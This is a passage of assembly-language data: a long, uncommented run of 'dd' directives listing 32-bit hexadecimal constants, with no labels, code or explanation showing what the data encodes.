6200FF79h, 0AC441E9Ah, 0EEE2CC2h, 18AE0E46h dd 23BDDE61h, 0CE4820EBh, 0CB806400h, 0DA01331Fh, 139C9914h dd 0C07CD769h, 289C5DB2h, 0EB54B002h, 4847B65Eh, 0A69668h dd 8365B2E7h, 672202ACh, 7EBCC954h, 59913560h, 0B2F8DCh dd 840C5C79h, 4D860EFBh, 0CD23EC09h, 940CAA0Fh, 2F49F08h dd 32F2719Eh, 41AEDC69h, 0D4C5964Ch, 1549933h, 900B65B4h dd 822C1C79h, 7039B747h, 50C462A0h, 9C04E203h, 7F18E4F2h dd 0D404993Fh, 72565400h, 0B54B25D7h, 0C8370F69h, 0C2E06E8Fh dd 3BC16D61h, 0BEAAA401h, 0CCD21E54h, 5AE67981h, 60B13C9Eh dd 70512264h, 5598000Ch, 0D0B009D7h, 0DE24AF6h, 2988C094h dd 2AF704BEh, 0A9CCA086h, 581CB149h, 8C0FE868h, 0A52D8B01h dd 1A21AAF3h, 0D073F894h, 0A26BC587h, 0ECEBCDA0h, 0A91EDCA3h dd 3D40E47Ch, 76E56F53h, 5CF17C8h, 0C8F88BC2h, 6082C7CFh dd 5EC4ABECh, 0E4CB9E18h, 0B4A63E80h, 0D3465EE8h, 0B58CB23Ah dd 9849ED2Bh, 65CE4487h, 0C518AB00h, 1C4CCF09h, 827CB394h dd 2A5F7BFh, 0B097B460h, 0F2EA7B01h, 16E5FEDEh, 1D1DC058h dd 0A59C8AA4h, 0D4002816h, 2F30A414h, 551FF21h, 0A54CBEC2h dd 0F2C0E23Eh, 0EBA30DCh, 8FB87E0Bh, 0F3E82061h, 69200B30h dd 0DC45296Eh, 2160E2E4h, 9D73D3F8h, 53E56A02h, 0F2DFCD6Eh dd 0C5630050h, 77466876h, 0A52EE42Ch, 9E8418D3h, 0BCA08659h dd 8C38557Eh, 4C42F4h, 0CEED8296h, 12A6148Eh, 73B65C0Ch dd 947D3805h, 59468038h, 0C0912EE0h, 17F0CA00h, 1A660360h dd 76B90078h, 94421401h, 2E4D4A6Dh, 14F58E0h, 0CB8A56Eh dd 89DA6E7h, 0CBD82A6Fh, 0AC9D1E19h, 9D82D111h, 84E1885Bh dd 194638Fh, 3F1CB2E2h, 48734781h, 0CE30CFA2h, 0E154018Ah dd 0BBA664D3h, 90838E9h, 0A4BA63F3h, 9CE28260h, 3CDBB600h dd 9450C4Bh, 98E3CD01h, 0E5D1881Ah, 0ABEB1F03h, 97323925h dd 801191F0h, 87264B6Bh, 94F73F9Bh, 61241B02h, 0EC644602h dd 2C357900h, 19859FB6h, 74089418h, 17ADB46h, 721DAACAh dd 80427EC5h, 0B292E9A9h, 71FEAEh, 3D66817Ah, 0B5C48B0Ch dd 3F13400Fh, 18826696h, 10A09890h, 5BE3F699h, 0DB231C2Fh dd 0F8EEAC00h, 4C742231h, 79C1C8E2h, 0C4AFB766h, 0F894BCC9h dd 0EA08AE84h, 0B08233Eh, 6482447Fh, 4C0011FEh, 0F4966AEh dd 968A7DB2h, 2A05E28Fh, 2FFC90CEh, 434E6C22h, 536B9002h dd 0E43865FFh, 82F96011h, 0C662009Eh, 51AABE23h, 8E0271FBh dd 0DE619C7Ch, 107040h, 0D8EA73B3h, 9EF06CA3h, 0F399340Bh dd 6670A2E6h, 7C802135h, 7FC469EBh, 7623EE00h, 6ECE64C6h dd 99E5B62h, 9810D9ACh, 5400CD14h, 0B4376029h, 9C099FADh dd 0E46760Ch, 827CBA07h, 718171FDh, 0C5D541AAh, 0E1869CBh dd 0E097C1D8h, 95E2AE4Dh, 0A1802BAh, 0F907ADE6h, 4C7B3C89h dd 587AC870h, 4502721Ch, 42593BEFh, 0C5FF9048h, 0D1183F14h dd 80E73DECh, 50A28B2h, 91DBE015h, 709E74h, 26545D1Fh dd 3500F7E4h, 0CC09EEAh, 909AB374h, 0CA59128Ch, 8BF0E439h dd 61A61040h, 79A41025h, 0BC683DB9h, 3C3E1D67h, 19BE06D9h dd 165C90CBh, 51F1004h, 86CCE13h, 0D9091EB0h, 0C0A04250h dd 823AB68Ch, 0DF37FC40h, 0E63F6988h, 74009642h, 5B07D246h dd 91B24D1Ah, 6D14EC86h, 59F312A4h, 8FB79890h, 0F4B4511Dh dd 44B07FCBh, 32096EE4h, 7B14A797h, 354C78B8h, 0EEDA5B00h dd 0D2CE7D4Dh, 0ADA81821h, 626F70CCh, 88A20AFAh, 12DCCC54h dd 0B21ABA17h, 30E1F2C8h, 3D0F1F8Dh, 74DD1B9h, 0BED09DC1h dd 0A4F8ABADh, 45322CC0h, 3F91BCh, 4D301105h, 39020D0Ah dd 9B0F239Ch, 25604B57h, 1D957EF1h, 0DABA3317h, 0AB7560C1h dd 485CA8A8h, 4083F87Fh, 0FD80C26Fh, 3101DA57h, 9B5C597Bh dd 0D0420C22h, 0B2332230h, 90206340h, 9CE0E528h, 9B32C315h dd 0A48B4ECCh, 0DEC048C8h, 0D17C5Fh, 7FB8B03Bh, 0E3961F99h dd 97C5C415h, 25FD0080h, 6F47D6B3h, 0F8B2488Dh, 26F42800h dd 0A0841110h, 50376924h, 7CD07E92h, 4D4C5h, 3C463B9h dd 0F73C07B6h, 5F3DD705h, 0B0A2179Bh, 26CB911Ch, 0B84C00FFh dd 50F70AEFh, 6EFACE03h, 0EA9C886Ch, 443C47C3h, 0F7226048h dd 578B02A2h, 0D4CE037Bh, 50628C48h, 0F6319600h, 5F0546C2h dd 0E27B52h, 7D6896Bh, 0ED2F23A1h, 145D92F2h, 819C0984h dd 3DC8D85Ah, 2CABE68h, 63F2F488h, 9F0A5071h, 0AB8BD055h dd 98381A62h, 0BCBEFDB4h, 0A7A38460h, 0D6220914h, 0A8283416h dd 8CCDBCFCh, 0E79BB700h, 7E6AC763h, 4FF3B09Eh, 0EB889117h dd 2A7C0104h, 6E2E8025h, 0CBA60060h, 932992BAh, 0F46300E9h dd 0C979497Eh, 23001726h, 6EE7D521h, 74A6E504h, 7EF67BDBh dd 1BE63A42h, 641E1600h, 803918DAh, 802AD83Ch, 0E6042EB7h dd 0F144203h, 25437FA5h, 1DF8D6AAh, 0CD2F034Ah, 0E8A07E66h dd 48197CCAh, 3D28A4C5h, 351821A0h, 81490DCDh, 0E7964160h dd 0CF7A5DA0h, 2D54C0A1h, 7E1FB808h, 0FCA40095h, 0F551D7FBh dd 2286206h, 3913F029h, 4E005A0h, 0A6641345h, 168CB077h dd 6962F312h, 49D980A0h, 0E33C7C22h, 0ABCE0E0Eh, 0A68C57C0h dd 25F06C90h, 92401269h, 895CE144h, 68524183h, 9B3320Dh dd 26517802h, 4912FE61h, 1C409E4Ch, 62AE691Ch, 0E7BE194Ah dd 2DFFE869h, 0E02DACACh, 33B100C8h, 5B4E3997h, 847C6650h dd 43799E1Ch, 50E342D3h dd 5430CEA2h, 0B35FC6Ch, 1AEC8584h, 0F8318806h, 8B04300Bh dd 5C78E116h, 886E2Bh, 847BB96Dh, 3735753h, 0E435C44Fh dd 264E76A7h, 0E288D08Eh, 27D2FEC0h, 84950370h, 6D413546h dd 0F4FCFAFBh, 0D2401930h, 0F64A100Dh, 0A7B70D13h, 6F3B788Ah dd 5E98140Ch, 6D6C0588h, 58A0BE2Ah, 0B0A095DAh, 699F275Dh dd 530E1E01h, 0B301AFB8h, 5C1F8881h, 20E04BAEh, 7902F504h dd 6C9C522Ah, 0D13C6AA3h, 18CD79B8h, 0BB107B0h, 91E4BD0Eh dd 80D8CCF5h, 0CB9D3021h, 3AE1F797h, 1080DB21h, 0D9811F9Ah dd 5C164562h, 348573BEh, 64C290ACh, 805918F1h, 6918DF79h dd 5D13D202h, 0D0E450F4h, 45CA2038h, 35835E13h, 0DD237C3Ah dd 0E41F8600h, 2FEFDBFEh, 0A8ABB5D8h, 24001859h, 0AE42D2D1h dd 0F97700E8h, 1F3B7AB0h, 9BF45E4Ch, 4A80A5Dh, 5F756270h dd 95080413h, 616D04E0h, 172134E4h, 0D0BD71A0h, 0C2E19F0Ch dd 93183258h, 3BF2ACE2h, 0AA6E30h, 0EC661ABCh, 3FE1F391h dd 0AE619E12h, 9DBE3C80h, 72DB40B3h, 2E86591Bh, 7C83B018h dd 85E9C0D5h, 5E0D2DEBh, 570011E0h, 0F9C1C835h, 3E28F718h dd 1F94B8A1h, 0DEE8E039h, 503A018Ch, 45ED8128h, 6D88DC11h dd 1D0124B6h, 0EBCFA65Eh, 7E15F400h, 0B2E183E9h, 90135FF9h dd 910CB1E0h, 606549F0h, 8260DE64h, 4D01FB2Eh, 5A52C3C0h dd 0BC4E0F08h, 0AEC04AC8h, 1D61C910h, 18AFB025h, 0D8E6D0CAh dd 249132FAh, 7700D611h, 9E6B846Fh, 1126B1AAh, 0EA2628C5h dd 0DF35B609h, 0D2492880h, 8309175Bh, 23D9CCC7h, 0B8FB86B8h dd 0FE8161h, 0BE93032Eh, 0E34836E9h, 1F52100h, 0D297DA8h dd 0B4CE28Bh, 0BFE5D066h, 1C591C32h, 73180979h, 29B79500h dd 818EAE4Dh, 0A39E1C53h, 454E8BD8h, 14034002h, 6489F507h dd 66ED07D8h, 0F7AAB8DEh, 37773170h, 54648084h, 9BC4C54Fh dd 3E7E2459h, 0BA060744h, 94B7858Fh, 1E5C20B4h, 4658EE81h dd 0A1F8478h, 0B2E4A224h, 42FC300Ch, 62DE5907h, 22340D63h dd 0AF380CF8h, 0E8B940F8h, 0A795E0A1h, 0C1484D39h, 3069F796h dd 18BA2BCCh, 91D8179Dh, 790E8011h, 291B385h, 275530B8h dd 2848EE7Ch, 4F00DC37h, 5E8BEABCh, 4D57F46h, 0A1EC842Eh dd 0A2F0F333h, 0A7D833DDh, 443C782Dh, 8CBD81E2h, 97EC1209h dd 84EBD2h, 0A3CD15A1h, 0B6C371E1h, 120BA513h, 6680F85Dh dd 4EC84FF4h, 69A01625h, 17BCE0A6h, 0F88168B1h, 1BAD6236h dd 383C65DDh, 8BB8905Dh, 0AFC9D700h, 9B99CB90h, 16622081h dd 0B3650CFh, 0C5ECE35Ah, 0FFF000F6h, 3C3AEA72h, 5CE0AE77h dd 3F627181h, 0D46012F8h, 0BEB28817h, 0C79CDC00h, 37FC664Bh dd 0B00C0B9Dh, 0C437E954h, 0E4B3718Eh, 43C09B72h, 3A82C4h dd 5E43A3D6h, 9465392Fh, 0BD3FEF04h, 58BC58C6h, 608CDBE8h dd 9E67AC2Fh, 37B7FDBDh, 8FC69D98h, 1E8026EFh, 9933D251h dd 0F369ED62h, 12B06463h, 0F3BF9E4Ch, 611E0578h, 0D4123C36h dd 221860E3h, 68E6416Ah, 0E24C0252h, 0F0A8330Ah, 0B838AB9Bh dd 0AA2A966Fh, 97AFB4E0h, 0D9050B9h, 0FB2A872h, 0D5E230h dd 266C1DA6h, 23C65E3Ch, 0FF0944B4h, 0E4A445E7h, 959B60D2h dd 1BB25C34h, 0C8F58017h, 3F072F2Ch, 0C679ECEEh, 0D0BDEh dd 88B6F21Ch, 0C4424CDh, 0B86DA5ACh, 93E03FC7h, 0BC7183C2h dd 9FBA8574h, 4C7CE8ADh, 0C0D23AA0h, 0BFB20233h, 687C4634h dd 0CE140C5Ch, 0E10A8FDCh, 1402E47Fh, 970386Ch, 0B9D8C85Bh dd 7C4BE4D2h, 0EF590C90h, 1647A53h, 0C867B91Fh, 70E5B379h dd 8C2C29B0h, 0EF4D814h, 20D736EBh, 5C9733C7h, 0B4B1CD71h dd 0DE2714h, 49A8B0A9h, 4E4836Fh, 63AC2018h, 80ECA8C5h dd 371AD61Ch, 3C81EE6Bh, 0F285D561h, 0F4B3D81Bh, 1E49CE28h dd 30F301D0h, 0B2C2F8EBh, 180241A7h, 4A01CB01h, 19A40E5Eh dd 526C0480h, 8700B09Ah, 34149897h, 0C2FE2FB1h, 0CA91CC97h dd 0C3D0BA80h, 1C0193E8h, 917E986Eh, 28629B34h, 3160F30Ch dd 0F43D5289h, 940EA4C2h, 0E4C4C5A7h, 43E8604Ah, 78C90452h dd 94C597BAh, 8834B9B4h, 719C820Ah, 78F4338Eh, 0E1732286h dd 168B0C1h, 414964FFh, 3C4E599Ch, 638101D8h, 4276713Ch dd 62831087h, 4192B49Eh, 672251ABh, 547D33F1h, 149A6907h dd 10AEE634h, 0A578590Bh, 26BCC8A9h, 6AE581h, 9DF25CD4h dd 3161FA61h, 18DBA610h, 51853868h, 169203BDh, 47A04A42h dd 1B002A0Bh, 1A2C76F7h, 1331823Ah, 8022326Dh, 0FBB28320h dd 0E4117A00h, 0F4D1704Bh, 7E2A276Eh, 69B83880h, 0FA7CBC45h dd 4A2D4B01h, 0CA2A6D8Ch, 51E8007Eh, 2E7E959Eh, 0BBDC5289h dd 69F0E926h, 0A8136AC2h, 15682144h, 6403981Eh, 626D19F3h dd 0C47C35C2h, 0B5D8E686h, 7BAAC051h, 0F3452888h, 81E8645Ch dd 0BF998FB9h, 0AB70082Eh, 93BE5E85h, 7109E8E9h, 7C523946h dd 0F5D16104h, 4A873AFh, 0E613634h, 919B8ED0h, 80F0B3A9h dd 28F37340h, 0C4A09DE8h, 133758h, 0D8C64FBh, 0CCCD4B63h dd 9F416C0Ch, 23142F6Eh, 96BA0908h, 0F809CC05h, 0BC4080D8h dd 5C04Eh, 69D85B16h, 6B878ECDh, 0EC08FD58h, 0C8018C0Ah dd 33F15777h, 6984E8A2h, 0BCE48A70h, 24CE5E54h, 0A8C0E0C8h dd 58ACABh, 0B2097B67h, 0B513767Dh, 6C6EFE04h, 0A8D2A8AAh dd 0D600D6FFh, 0C11FED00h, 33406F38h, 1CD930DCh, 0B339B221h dd 7FE4FD00h, 0C595FF6Dh, 10594C6Bh, 968C49BCh, 0B47A89BCh dd 3C86B402h, 6CB91700h, 0B86B131Fh, 2AA488AFh, 74C2D65Fh dd 7EDC56AAh, 87001046h, 0D26F0D7h, 801037Eh, 5A6D9EDCh dd 608028EAh, 29BE81B1h, 95F042A8h, 28DA595Eh, 0D7820CC0h dd 0F016B490h, 8116CE43h, 6F695C90h, 6B594E8Dh, 0E10072F8h dd 866ECD1h, 4B378F0Ah, 0CD60C82Dh, 94D749h, 1C082F17h dd 7D8EC853h, 0F43A0186h, 0A22E1AB2h, 0C4D43DEEh, 0E3123E96h dd 1C2F4B34h, 8B3D0A23h, 828EA10Eh, 0D67D18h, 9DF15C16h dd 9E4DE34h, 8C4CB084h, 40F10F0h, 1441AE4Dh, 0B818A859h dd 22008C46h, 0A2E8A831h, 899ECBh, 0C7944CE3h, 599BFB81h dd 5484025Ah, 50A320B8h, 6C3BAAA4h, 0FE013D23h, 2FA09E11h dd 19C0423Fh, 2870F9B0h, 925A7100h, 1FE10EE2h, 841D5890h dd 0AD598685h, 40ACE8h, 593BDEEh, 2278AD12h, 619E2D09h dd 0D9B4628Eh, 0ABE1B254h, 0B9203CE6h, 4A6F12C7h, 0B2A8521Eh dd 0E7509CDCh, 0A41CC048h, 0A1CAC56h, 0C118044Ah, 0C2ACD8E7h dd 2E693C21h, 1007E464h, 836F227Dh, 0E66BC65Ch, 4BD20B98h dd 485B0A5Bh, 787CCE70h, 0ABFF80ECh, 74EE4600h, 82FB8008h dd 0C0135CFEh, 18D26709h, 0FF45CC72h, 1006E3Fh, 980671D1h dd 0BAE89B3Dh, 0C1112AA7h, 0E09295A4h, 7C3757h, 39754FB3h dd 0EA089468h, 82D939Fh, 0C6251F6Eh, 83223E00h, 45C5C302h dd 8E0DA31h, 0EFF18806h, 8BFEC49Fh, 0C00CC8D8h, 2777B60Dh dd 0CE1DCC0Ah, 2D80D8D6h, 3DB7E1C5h, 95D000A8h, 2A7FE229h dd 0E3069E7Ch, 1ED9B3CDh, 4B7D49h, 784EA72Fh, 6FD1C6A8h dd 9E4D0C05h, 0F0D1FD9Dh, 0FF001782h, 9200BF09h, 64D27CD3h dd 133B0EB3h, 3A3F348Dh, 3112338h, 0B9077C62h, 432BA788h dd 34C4D34Ah, 78E1B4C2h, 0A6504A5Ch, 66FBB058h, 0DD8C07D4h dd 8054D380h, 8FBA8D6Eh, 0DCC92AF3h, 9F05E069h, 0C965CD9Eh dd 0DBF7DC90h, 5CF83897h, 0E65911E8h, 0A61878CFh, 7929EB0Fh dd 0AE13843Bh, 0C47BDC57h dd 58AB3500h, 4C4EB877h, 0E1FC6602h, 0E72D5EC5h, 60094468h dd 0C96CA5C6h, 3C50A798h, 0E9DCA89Ch, 25448060h, 0CCC009EDh dd 9C81DAC7h, 9870E3C9h, 2A6F88ECh, 0B0432624h, 0FA9C8200h dd 0FAAFB9C3h, 71409AB5h, 0D20A5A2Ah, 10F18E74h, 6B18E2F1h dd 0E805E071h, 44CBB591h, 552AA8C2h, 7CE608A2h, 0C387A8FCh dd 4C4043E4h, 0B0992328h, 9DE93170h, 0FC7EC4F1h, 0EA059CCBh dd 4C14B808h, 219BFC0Ch, 0F7D405AEh, 0B91E0348h, 2CB8D0h dd 44F56B97h, 0BE4B9CB0h, 29ABD82Dh, 88DC0044h, 9171A2FEh dd 4A90A850h, 56CCE095h, 0C0749CE6h, 21A802B5h, 58984514h dd 9F00214Eh, 91C40AEFh, 9F2F465h, 6959E928h, 0E8D744F2h dd 0D1C84CCEh, 0CBD779C0h, 0B4149770h, 4C21BD4Bh, 7C03099Bh dd 185CE783h, 8CDBBCB4h, 0C2C87603h, 0EBF5C4E8h, 0D62AE041h dd 0CE540031h, 0D4D922D7h, 0E17432E5h, 0C68AE425h, 82B1094Ch dd 0A880EA25h, 0F1E6D4F9h, 0B7037C77h, 0E7E8046Eh, 0F35A74Eh dd 0CB0790A9h, 5C17DF7Dh, 21D0BF28h, 1B0F1818h, 4B192249h dd 14B88CD5h, 17A76F25h, 80459154h, 3323B8CBh, 0A09407F8h dd 0C9D2856Ch, 3C93D478h, 16ED2278h, 2537BAEh, 0F3B23550h dd 69E3D47Ch, 8014A426h, 2C8CD0E8h, 298BDFD2h, 2EA86F04h dd 0D4041713h, 1F0BD685h, 48982CE6h, 1697967Ah, 562896A4h dd 0E0001046h, 0D0A269Bh, 500204B2h, 8F6F016Dh, 490C5CB8h dd 59EB0001h, 144470ECh, 0EC947EE6h, 6F4FDE8Eh, 0FA5B61B1h dd 206A837Bh, 0B94BE2F0h, 0C57EA300h, 16D98405h, 684D1FDFh dd 3761401Eh, 22F9B925h, 0F3D00295h, 62007C62h, 0C304D04Dh dd 8A9234ADh, 0C03EC8D8h, 819DEB1Ah, 9C31B229h, 0A4F8C712h dd 0E01CA64Bh, 0F7D0A6h, 0A11E3E54h, 7565B2A7h, 3CB9B803h dd 58F326Fh, 0F5B02FB1h, 21B8C9B7h, 2C3C68F7h, 6D40149Bh dd 8007964Ah, 0AA649AB9h, 0D8F4CD19h, 0C7280158h, 8280B381h dd 1DD02CBEh, 9FB93F75h, 0AC032265h, 0B5D2526Fh, 4A88E8CFh dd 4F8E8AC0h, 0B81F0B70h, 14AE1D8Fh, 0DBA5DE41h, 3B80280Bh dd 9E2F8266h, 5C197261h, 7144A64h, 0B469A00Bh, 80C0EDF9h dd 4DC4FDA4h, 0C030075h, 62D3505Dh, 0B10497B2h, 0ACAD5E11h dd 0BA619C42h, 0F9A530F6h, 180FD12Ch, 0B2770260h, 0CBB9988Ah dd 1408A04Ch, 4413C669h, 66A8B173h, 0CF6EF0E0h, 53BB0057h dd 9FBD0758h, 0A3B0468Ah, 14DE2803h, 8A15C552h, 18F2DAh dd 3B2B8C3Fh, 88C819F6h, 0DC9948h, 0E80C900Bh, 1F39549h dd 204BB7B6h, 7CFEBD0Fh, 8C0FB81Ch, 0F68A0B01h, 2C5EC982h dd 62C3A6C8h, 7972E80Ch, 0D325907Ch, 0F6D178A8h, 0F01D2279h dd 834B5964h, 4DC0028Eh, 82040AD2h, 464A8196h, 0FF45E0D6h dd 0B030D8B4h, 9F6F714Ch, 5C444088h, 3C01D146h, 699BBCB8h dd 18012F12h, 0A59E4D07h, 4183F470h, 30E430DCh, 4E7C0552h dd 47E000E6h, 4E05B801h, 434252C3h, 3DEC10A8h, 6240268Ch dd 483E09E4h, 48A494DBh, 0D4674h, 82788D86h, 9704AA2Fh dd 3CFB383Ah, 250E0550h, 30C5CA0Ch, 7C84F817h, 0AEB864ADh dd 1CA8801Fh, 0F4E09C97h, 8841821Bh, 38D014E7h, 96AE699Dh dd 0B4D809BCh, 71C61049h, 0AB0643CCh, 18C7103Ch, 0D9894B5Bh dd 5E29C005h, 8F4DE480h, 735F300Fh, 0CC03C037h, 11D3F31h dd 986B99B4h, 6F695A84h, 0C822F6F1h, 746DE62Fh, 854E07C0h dd 7C244C68h, 0EC7BC8C0h, 0AD00EDB0h, 0D33F7A65h, 3A5A5C6Fh dd 0A17386Eh, 1DE8D37Dh, 0ECFD1E88h, 0AAF77A07h, 92600656h dd 39E924B8h, 8B8F0BB5h, 474C719Bh, 0DA0008B0h, 0E468B6C4h dd 4A5C99A5h, 0F29CF2F2h, 63EE3008h, 9652F513h, 0B52540ACh dd 0C22FF071h, 0D674C1FCh, 0DBF42A10h, 7E190600h, 90187914h dd 0B30F00FEh, 0BA92AA82h, 1CBC9A33h, 510C178Bh, 5CF4AC9Ch dd 74034946h, 9384B06Eh, 201DAEF0h, 4EF64F39h, 46A2D8F3h dd 1F9C8F30h, 0C5738538h, 822B9B57h, 0B2576578h, 14955758h dd 0E803B91h, 5AD558CAh, 3AC0AE09h, 0E080CDB8h, 0F6FE061h dd 0E3FB8326h, 0D26C09h, 0A696097Ch, 0A7B90CE2h, 16B0C8D5h dd 0F7A40109h, 2ADC5084h, 0D4DECDh, 51695FC9h, 93A62CFh dd 0C758FA2Fh, 60E14414h, 3687D9h, 0CA066873h, 0D86DBA55h dd 0B918B036h, 44DF35A8h, 0BC0CB8F0h, 3C008CCAh, 2AFFA64Dh dd 2594463Bh, 48708CC3h, 2D0FB340h, 58007A4Ah, 41909FB5h dd 70A6154Eh, 68AE2CF0h, 0C46E025Eh, 51A04400h, 1E3E84D0h dd 0E0BBE75h, 82881518h, 0FC322A90h, 22310258h, 0B0D80169h dd 0C0F86D95h, 22B1FDAEh, 0AC4A6D3Bh, 17933C0Dh, 0E0C8748Bh dd 0F413FFC0h, 91DFC2Eh, 0B9883A2Dh, 6D12ECF0h, 4480FA5Ah dd 247EFB82h, 85DC5389h, 0D8C4AA33h, 0E74B7C98h, 2F7D988Eh dd 18C713F3h, 2860DC44h, 7B4CEE66h, 4092252Ch, 70B60CB8h dd 154E2F97h, 26860003h, 9DAEA900h, 6D1DB2A8h, 380E62E3h dd 56090BD2h, 2C1CC06Ch, 937C1E36h, 6CF9840Ch, 2E7B9C2h dd 686075B2h, 0A8581FAEh, 0C6611609h, 0AF505C43h, 0DE400E5h dd 2801A060h, 0C6BA3901h, 57B78464h, 0B8886D70h, 3C64EB48h dd 7607785Dh, 29759h, 1454837Eh, 64FB5200h, 5F0E2775h dd 0DA5C93CEh, 3F3328D8h, 23CD7C02h, 0C014A306h, 8011BAA8h dd 1898E4CCh, 819C0B04h, 34B919FEh, 4B78A04Ah, 889B5782h dd 178669E0h, 0DA401897h, 0FDD88131h, 0E4E06E5Ch, 0D1E34AB7h dd 23E769Ch, 4B445C06h, 0AE5EC001h, 4AB147Bh, 0AE50B85Ch dd 6F215803h, 0D8C915DBh, 81181CB7h, 0A65E9982h, 7860F75Dh dd 437EAE11h, 0A3EB6707h, 2A8960DDh, 0ED00F392h, 0D4F83B18h dd 2DB9CA72h, 0B0008587h, 0AFB8966Fh, 0C00B194Bh, 1FCF3CDh dd 97B80D0Eh, 0F302F6C1h, 808CDE60h, 0A86BAE4Ch, 0EB5454AFh dd 0A7009740h, 3A8767F5h, 1D984795h, 0C121A02Ch, 0B03C2E56h dd 4A8C6C54h, 96EC50A5h, 6AF30D8h, 7E70AAE9h, 33515361h dd 7C72E9A0h, 26086600h, 0CBB65C09h, 0AA40E267h, 13D26430h dd 6F6332F3h, 5C5239h, 1E7346h, 0ABE17D72h, 0CDBDA8D8h dd 0C4392028h, 9E5C720h, 8A4266F4h, 21E4A0A1h, 0AEC44C72h dd 7A18A084h, 0F802822Dh, 3C00E06Fh, 81444659h, 18412A7Eh dd 7CEAA7B5h, 0DE085CDEh, 121D0501h, 71BCC61h, 4225C460h dd 0E7DA3DBEh, 8CA0DD99h, 48EBDA3h, 0C296F2E1h, 0C748B80Ch dd 0AB8628F3h, 6760C1B2h, 0E6A5E786h, 4B43C884h, 5A686271h dd 0C409D38h, 17801E76h, 4AE51747h, 0B28452FEh, 71420120h dd 0E58A146Ah, 9B2BEEC1h, 0ACB85C14h, 48028C0Dh, 82F109ABh dd 208447Ch, 6DBF7137h, 0A955DA83h, 0C480CD14h, 3805BB51h dd 0A884B872h, 0B20416FBh, 30DFF23Ch, 61FEF3C7h, 9AFB9307h dd 21AC7B95h, 0D9800BAh, 0C1E96D0Ch, 2105E324h, 0C6C59FB8h dd 0A99EE088h, 0A8D482ACh, 164B1B5Ch, 45EF08A5h, 199C1996h dd 207875CDh, 1441AA58h, 4A467460h, 2284CA48h, 0B0909519h dd 894A7B22h, 6D0B60B3h, 70237A62h, 0BFD473E3h, 77B3E020h dd 0E80A0023h, 6027035Ah, 9B16ABEBh, 0CDCE72h, 0C06A5885h dd 0EC8CEC2Dh, 830F8CD1h, 0CD226D81h, 202F19DDh, 4414068Ch dd 95EF8E12h, 609F80ACh, 67E2EB2Fh, 60DA6494h, 173D7F20h dd 0B71DFBB7h, 90610808h, 6C652F18h, 0F06749E4h, 0C44CB51Ch dd 0EC7BA518h, 4503179h, 0CAD96874h, 606EAA52h, 0E0298E00h dd 0B3EF0652h, 4C5AEA7Ch dd 0F0144E2h, 1F1921C4h, 74C22A26h, 0D6D8FE59h, 7326B2FCh dd 4F0814EAh, 0AD1F09F4h, 94538C8Fh, 0AC50A978h, 0A66D1F8Ch dd 0EFC2C1C6h, 2F07D22Ah, 0F32DD441h, 0D52AF985h, 0E838FDA4h dd 944C01D7h, 9BF58AAFh, 2B4AFD69h, 0A4F2C074h, 0AD3008F2h dd 30F204F1h, 88CD84EBh, 7009058h, 0E0E83D93h, 268D0EEh dd 8976C4BCh, 18DCFEC3h, 1F9DF8D6h, 6D97649h, 48E85756h dd 0C7304DB5h, 7336C29Fh, 190E3CE3h, 9C123068h, 4BC561C0h dd 0C09E095Ch, 0CE4FB289h, 6F4E1A06h, 7B007CB3h, 0F764FFCAh dd 1E00FE1Fh, 0EB1A4E7Ch, 1701A83Bh, 913EBD66h, 803A7FF4h dd 6CA4F2F1h, 2A69119h, 0FAB3949Bh, 9F848E6Eh, 5C6BAF4Fh dd 49021379h, 807CE80Ah, 74C9EAB5h, 2974EFh, 30AE3867h dd 13699E34h, 0FC36A11Fh, 2CB97192h, 0F05CF64Bh, 5CBC42h dd 7E3C3F23h, 0BA1A2811h, 6495975Eh, 8DBE0830h, 929D0733h dd 94250330h, 0FE4883D9h, 3AE835A1h, 4A809CDEh, 13DDA796h dd 5EB9CF07h, 73698BC6h, 0DC66804Ch, 5A283878h, 2EB39512h dd 0C8D22CB8h, 87005188h, 0B1410E70h, 17A680FAh, 0E392A7B8h dd 30DFE280h, 9378BF4Dh, 8BE31B03h, 5F47C6Dh, 3F609C21h dd 2717839Dh, 5913B680h, 51C483Ah, 0D1A997B8h, 6EABC484h dd 0BA2F0014h, 5F37B620h, 53C60192h, 639E5ECBh, 0EB7D01F3h dd 0DB553180h, 48DC2A71h, 6C8D664Eh, 4C24CCDCh, 0CE1FA1D8h dd 9F33096Ch, 0F47BDCE9h, 792D97B7h, 0D024DBC9h, 1044590h dd 36867DB2h, 3A4013AEh, 7CA239Ch, 70BA824Dh, 8F92D448h dd 0B9B38403h, 63CF4187h, 0C582B0A0h, 22F081B4h, 4C057FF5h dd 34E00F20h, 37AC4BD8h, 0B42C2538h, 9C88BCC0h, 82F64F71h dd 85A7FE8h, 40E5E374h, 8A49ED4h, 0C5CA832Eh, 0D688118h dd 69CE758Bh, 70F6B95Ch, 0B80CA302h, 404614h, 6759B6C2h dd 774FCF96h, 284B0D5Ah, 0CD10E8D9h, 0FFBF0085h, 73B934F5h dd 5B0E4B17h, 0A2D14C3Ah, 0F31E904Eh, 958570DCh, 60B99B04h dd 34AE45D3h, 88108E94h, 0EE2AC0CEh, 9013299Dh, 14C08399h dd 5A058FB9h, 4698D1D1h, 8C8E6E1Ch, 0A3C13CC8h, 5AD8AC17h dd 48426582h, 0B868A951h, 0EB3704B2h, 0AE179C18h, 0B0FC842Dh dd 320FF7EDh, 527EF9D3h, 0A2331034h, 46007CEDh, 0E159072Dh dd 4A69B7ADh, 0BA3CE345h, 0C828CA4Eh, 33FEC0DBh, 0B2044C29h dd 42F7E5D0h, 38E2FCB6h, 2DDCEC40h, 0FD48002h, 0A9DBA5B0h dd 88B85BC0h, 6F05305Dh, 4089AFB0h, 0F0225C2Ch, 0CC2C4DB5h dd 0C201AF36h, 0A2A80340h, 752E668Bh, 88C88B38h, 7B55C148h dd 8716F895h, 5E208492h, 96B09014h, 8CF060F8h, 9E265CFEh dd 594140B8h, 0A0004AC2h, 0E64B142Dh, 9A71BC81h, 3048B83Ch dd 0BC85B204h, 0AE6CC5B9h, 0FB02406Eh, 9DB233F1h, 2694054h dd 231E68Ch, 7E62ADBEh, 1298C0FEh, 0C0387F81h, 3C65B8F1h dd 36074621h, 3A1C3FA8h, 8E9BD842h, 0C4B58BFFh, 417E1210h dd 0D6D0B973h, 0CD80889Ah, 6D59CED4h, 20726210h, 3A9FB91Eh dd 0B7B49C4Bh, 0CC418F12h, 0EF2268ADh, 0C0B4CDB5h, 6F657E80h dd 11422A14h, 89F288E8h, 607964F3h, 8452C593h, 2B4BCCB7h dd 0E3B23E0h, 2EC9646Eh, 0DB2D445Ch, 6DB27030h, 9E131705h dd 6CB0FE61h, 6BA312D8h, 